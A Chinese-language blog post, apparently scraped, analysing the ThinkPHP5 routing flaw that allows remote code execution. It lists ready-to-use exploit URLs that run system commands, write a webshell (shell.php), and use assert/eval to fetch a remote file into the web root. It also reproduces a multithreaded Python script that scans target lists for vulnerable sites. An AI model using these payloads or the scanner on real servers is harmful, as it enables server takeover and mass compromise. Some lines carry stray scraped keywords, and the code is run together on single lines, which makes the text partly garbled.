22.ThinkPHP5框架缺陷致使远程命令执行

前言:php

昨天爆出了ThinkPHP5框架缺陷致使远程命令执行,大佬们都遇上潮流挖洞,小白仍是默默学习一下这个漏洞html

漏洞影响范围:python

Thinkphp 5.1.0 - 5.1.31
Thinkphp 5.0.5 - 5.0.23git

漏洞产生缘由:github

Thinkphp5.x版本(5.0.20)中没有对路由中的控制器进行严格过滤,在存在 admin,index 模块、没有开启强制路由的条件下(默认不开启),致使能够注入恶意代码利用反射类调用命名空间其余任意内置类,完成远程代码执行。thinkphp

漏洞分析:shell

既然是没有正确处理控制器名 $controller ,从最开始获取控制器名的代码来看:windows

发如今 $controller 中有过滤字符串中的 HTML 标签的strip_tags()函数,网站没有开启强制路由,问题可能出如今路由调度时,来看执行路由调度的代码:app

其中使用了 $this->app->controller 的方法来实例化控制器,而后调用实例化中的方法,跟进controller方法:框架

其中经过 parseModuleAndClass 方法解析出 $module$class。而后实例化 $class

着重看一下 parseModuleAndClass 方法:

发现 $name 若是以反斜线\开始时,直接进入第一个if判断,将 $name 直接做为类名,若是能够控制 $name (即路由中的controller部分),那么就能够实例化任何一个类。

回看路由解析代码,其中的 parseUrl 方法调用了 parseUrlPath 方法来解析 $url ,也就是 pathinfo 中的路由信息

来看 parseUrlPath 如何解析 $url :

使用/对 $url 进行分割,未进行任何过滤,其中路由url从path()中获取。

这里 Config::get('var_pathinfo') 是配置文件中的设置的参数,'var_pathinfo' 的默认配置为s,咱们能够利用
$_GET['s']来传递路由信息,也能够利用pathinfo来传递,
但测试时windows环境会将$_SERVER['pathinfo']中的\
替换为/。结合前面分析可得初步利用代码以下:
index.php?s=index/\namespace\class/method,
这将会实例化\namespace\class并执行method方法。

漏洞复现:

 1. 代码执行

/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

 

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

2.任意文件写入

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码

把一句话 <?php phpinfo()?> 进行url编码:%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3f%3e

写入文件:

尝试访问shell.php:

写入成功!

放出一些payload:

1. /index.php?s=index/\think\Request/input&filter=phpinfo&data=1
2. /index.php?s=index/\think\Request/input&filter=system&data=id
3. /index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4. /index.php?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7. /index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8. /index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
9. /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['joker']);&joker=system("whoami");
10. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=print_r(file_put_contents(%27xx.php%27,file_get_contents(%27https://www.baidu.com/x.txt%27)))
(先file_get_contents读取远程文件内容为一句话 而后file_put_contents在当前目录下写入文件  并且不带<>)

给出tdcoming大佬批量检测脚本:

#!/usr/bin/env python # -*- coding: utf-8 -*-
''' name: thinkphp远程代码检测 description: ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞 '''  import re import sys import requests import queue import threading from bs4 import BeautifulSoup class thinkphp_rce(threading.Thread): def __init__(self, q): threading.Thread.__init__(self) self.q = q def run(self): while not self.q.empty(): url=self.q.get() headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"} payload = r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1" vulnurl = url + payload try: response = requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False) soup = BeautifulSoup(response.text,"lxml") if 'PHP Version' in str(soup.text): print ('[+] Remote code execution vulnerability exists at the target address') print ('[+] Vulnerability url address ' + vulnurl) with open('target.txt','a') as f1: f1.write(vulnurl+'\n') f1.close() else: print ('[-] There is no remote code execution vulnerability in the target address') except: print ('[!] Destination address cannot be connected') def urlget(): with open('url.txt','r')as f: urls=f.readlines() for tmp in urls: if '//' in tmp: url=tmp.strip('\n') urlList.append(url) else: url='http://'+tmp.strip('\n') urlList.append(url) return(urlList) f.close() if __name__=="__main__": print('''----------------扫描开始-------------------

*Made by :tdcoming
*For More :https://t.zsxq.com/Ai2rj6E
*MY Heart :https://t.zsxq.com/A2FQFMN
 _______ _ _ |__   __| | | (_) | |  __| | ___ ___ _ __ ___ _ _ __ __ _ | | / _` | / __|/ _ \ | '_ ` _ \ | || '_ \  / _` |
                | || (_| || (__| (_) || | | | | || || | | || (_| |
                |_| \__,_| \___|\___/ |_| |_| |_||_||_| |_| \__, | __/ |
                                                            |___/ 
            ''')
    urlList=[] urlget() threads = [] threads_count = 10 q=queue.Queue() for url in urlList: q.put(url) for i in range(threads_count): threads.append(thinkphp_rce(q)) for i in threads: i.start() for i in threads: i.join()

一、将要检测的目标放在url.txt里面
二、若是存在漏洞的地址将自动生成一个target.txt文本保存

 

漏洞poc:

https://github.com/heroanswer/thinkphp_rce_poc

参考连接:
https://bbs.ichunqiu.com/thread-48687-1-1.html?tdsourcetag=s_pcqq_aiomsg
http://www.thinkphp.cn/topic/60400.html
http://www.thinkphp.cn/topic/60390.html
https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce

http://www.rai4over.cn/2018/12/12/Thinkphp5-x%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

相关文章
相关标签/搜索